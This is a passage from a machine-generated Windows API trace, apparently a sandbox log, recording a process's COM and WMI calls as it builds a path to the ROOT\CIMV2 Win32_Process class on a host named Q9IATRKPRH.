rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9430) returned 0x0 [0065.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9430, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.900] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9430, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b640) returned 0x0 [0065.900] WbemDefPath:IUnknown:Release (This=0x11f9430) returned 0x0 [0065.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b640) returned 0x0 [0065.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.901] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0065.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f9530) returned 0x0 [0065.901] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9530, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.901] WbemDefPath:IUnknown:Release (This=0x11f9530) returned 0x3 [0065.901] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.901] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.901] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0065.901] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x1 [0065.901] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.901] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.901] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b640) returned 0x0 [0065.901] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0065.901] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0065.901] WbemDefPath:IWbemPath:SetText (This=0x1bf3b640, uMode=0x4, pszPath="") returned 0x0 [0065.901] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.901] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.901] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b640, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0065.902] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b640, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0065.902] WbemDefPath:IWbemPath:SetServer (This=0x1bf3b640, Name="Q9IATRKPRH") returned 0x0 [0065.902] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.902] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.902] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.902] IUnknown:Release (This=0x111f638) returned 0x1 [0065.903] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9550) returned 0x0 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9550, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.904] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9550, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b4c0) returned 0x0 [0065.904] WbemDefPath:IUnknown:Release (This=0x11f9550) returned 0x0 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b4c0) returned 0x0 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.904] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f9490) returned 0x0 [0065.904] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9490, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.904] WbemDefPath:IUnknown:Release (This=0x11f9490) returned 0x3 [0065.904] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.904] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.904] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0065.904] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x1 [0065.904] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.905] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b4c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b4c0) returned 0x0 [0065.905] WbemDefPath:IUnknown:AddRef (This=0x1bf3b4c0) returned 0x3 [0065.905] WbemDefPath:IUnknown:Release (This=0x1bf3b4c0) returned 0x2 [0065.905] WbemDefPath:IWbemPath:SetText (This=0x1bf3b4c0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b4c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b4c0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0065.905] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b640) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b4c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b4c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b4c0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0065.905] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b640, uIndex=0x0, pszName="ROOT") returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b4c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b4c0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0065.905] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b640, uIndex=0x1, pszName="CIMV2") returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3b640, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0065.905] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3b640, Name="Win32_Process") returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b640, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.905] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b640, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0065.906] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0065.906] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0065.906] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0065.906] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0065.906] IUnknown:Release (This=0x111f638) returned 0x1 [0065.908] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x11f8f90) returned 0x0 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8f90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0065.908] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8f90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3b400) returned 0x0 [0065.908] WbemDefPath:IUnknown:Release (This=0x11f8f90) returned 0x0 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3b400) returned 0x0 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0065.908] WbemDefPath:IUnknown:AddRef (This=0x1bf3b400) returned 0x3 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0065.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x11f9030) returned 0x0 [0065.908] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.908] WbemDefPath:IUnknown:Release (This=0x11f9030) returned 0x3 [0065.908] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0065.908] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0065.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0065.909] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x2 [0065.909] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x1 [0065.909] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0065.909] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0065.909] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b400, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3b400) returned 0x0 [0065.909] WbemDefPath:IUnknown:AddRef (This=0x1bf3b400) returned 0x3 [0065.909] WbemDefPath:IUnknown:Release (This=0x1bf3b400) returned 0x2 [0065.909] WbemDefPath:IWbemPath:SetText (This=0x1bf3b400, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0065.909] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.909] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0065.909] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.909] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.909] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.909] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.909] IUnknown:Release (This=0x111f638) returned 0x1 [0065.911] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9070) returned 0x0 [0065.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9070, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.911] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9070, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b340) returned 0x0 [0065.911] WbemDefPath:IUnknown:Release (This=0x11f9070) returned 0x0 [0065.911] 